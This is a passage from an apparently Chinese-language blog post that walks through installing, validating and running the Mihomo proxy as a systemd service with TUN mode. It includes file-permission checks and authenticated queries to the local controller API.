&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo install -m &lt;span class="m"&gt;600&lt;/span&gt; ~/AmyTelecom_Clash.yaml /etc/mihomo/config.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo sed -i &lt;span class="s1"&gt;&amp;#39;s/\r$//&amp;#39;&lt;/span&gt; /etc/mihomo/config.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;最后对配置做了最小修改：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;rule&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;external-controller&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0.0.0.0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;9091&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;lt;随机生成，不公开&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;store-selected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;store-fake-ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;tun&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enable&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;stack&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;mixed&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;auto-route&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;auto-redirect&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;auto-detect-interface&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dns-hijack&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;any:53&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;tcp://any:53&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;proxy-groups&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Proxies&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;select&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;default-selected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;🇯🇵 日本 03&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里没有把订阅全文放进博客，因为里面包含代理节点凭据和带 token 的 DNS 地址。&lt;/p&gt;
&lt;h3 id="校验配置"&gt;校验配置
&lt;/h3&gt;&lt;p&gt;先把家目录中的原始订阅权限也收紧，再检查三个敏感位置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;chmod &lt;span class="m"&gt;600&lt;/span&gt; ~/AmyTelecom_Clash.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stat -c &lt;span class="s1"&gt;&amp;#39;%a %U:%G %n&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ~/AmyTelecom_Clash.yaml &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ~/.config/mihomo/controller-secret
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo stat -c &lt;span class="s1"&gt;&amp;#39;%a %U:%G %n&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /etc/mihomo &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /etc/mihomo/config.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;600 veno:veno /home/veno/AmyTelecom_Clash.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;600 veno:veno /home/veno/.config/mihomo/controller-secret
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;700 root:root /etc/mihomo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;600 root:root /etc/mihomo/config.yaml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;然后运行 Mihomo 自带的配置校验：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mihomo -t -d /etc/mihomo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;第一次校验时 Mihomo 发现缺少 MMDB，自动完成了下载。最终输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INFO Start initial configuration in progress
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INFO Geodata Loader mode: memconservative
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INFO Geosite Matcher implementation: succinct
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INFO Can&amp;#39;t find MMDB, start download
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;INFO Initial configuration complete, total time: 1474ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;configuration file /etc/mihomo/config.yaml test is successful
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;到这里配置文件已经通过 Mihomo &lt;code&gt;v1.19.28&lt;/code&gt; 的真实解析和初始化，不再只是看起来像合法 YAML。&lt;/p&gt;
&lt;h3 id="启动-systemd-服务"&gt;启动 systemd 服务
&lt;/h3&gt;&lt;p&gt;配置校验通过后，启动服务并设为开机启动：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; --now mihomo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Created symlink &amp;#39;/etc/systemd/system/multi-user.target.wants/mihomo.service&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;→ &amp;#39;/usr/lib/systemd/system/mihomo.service&amp;#39;.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;检查服务状态：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl is-enabled mihomo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl is-active mihomo
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl status mihomo --no-pager -l
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enabled
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;active
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Active: active (running)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Main PID: 2338 (mihomo)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CGroup: /system.slice/mihomo.service
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; └─2338 /usr/bin/mihomo -d /etc/mihomo
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;启动 TUN 后当前 SSH 会话没有断开。创建出的接口名为 &lt;code&gt;Meta&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip -brief address show Meta
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Meta UNKNOWN 198.18.0.1/30 fdfe:dcba:9876::1/126
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Mihomo 也自动建立了从 &lt;code&gt;9000&lt;/code&gt; 开始的 ip rule 和路由表 &lt;code&gt;2022&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip rule show &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s1"&gt;&amp;#39;900[0-9]|2022&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip route show table &lt;span class="m"&gt;2022&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;路由表中的默认路由为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;default via 198.18.0.2 dev Meta
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;控制器与 Cockpit 同时监听，端口没有冲突：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ss -ltnp &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s1"&gt;&amp;#39;:9091|:9090&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LISTEN 0 4096 *:9091 *:*
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;LISTEN 0 4096 *:9090 *:*
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="验证控制器模式与默认节点"&gt;验证控制器、模式与默认节点
&lt;/h3&gt;&lt;p&gt;先不带 secret 请求控制器：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -sS -o /dev/null -w &lt;span class="s1"&gt;&amp;#39;%{http_code}\n&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; http://127.0.0.1:9091/version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际返回 &lt;code&gt;401&lt;/code&gt;，说明控制器并不是匿名开放。&lt;/p&gt;
&lt;p&gt;再从权限为 &lt;code&gt;0600&lt;/code&gt; 的文件读取 secret，请求 API。命令只把 secret 放进当前 shell 变量，不把内容打印到终端：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;cat ~/.config/mihomo/controller-secret&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -sS -H &lt;span class="s2"&gt;&amp;#34;Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$secret&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="se"&gt;\
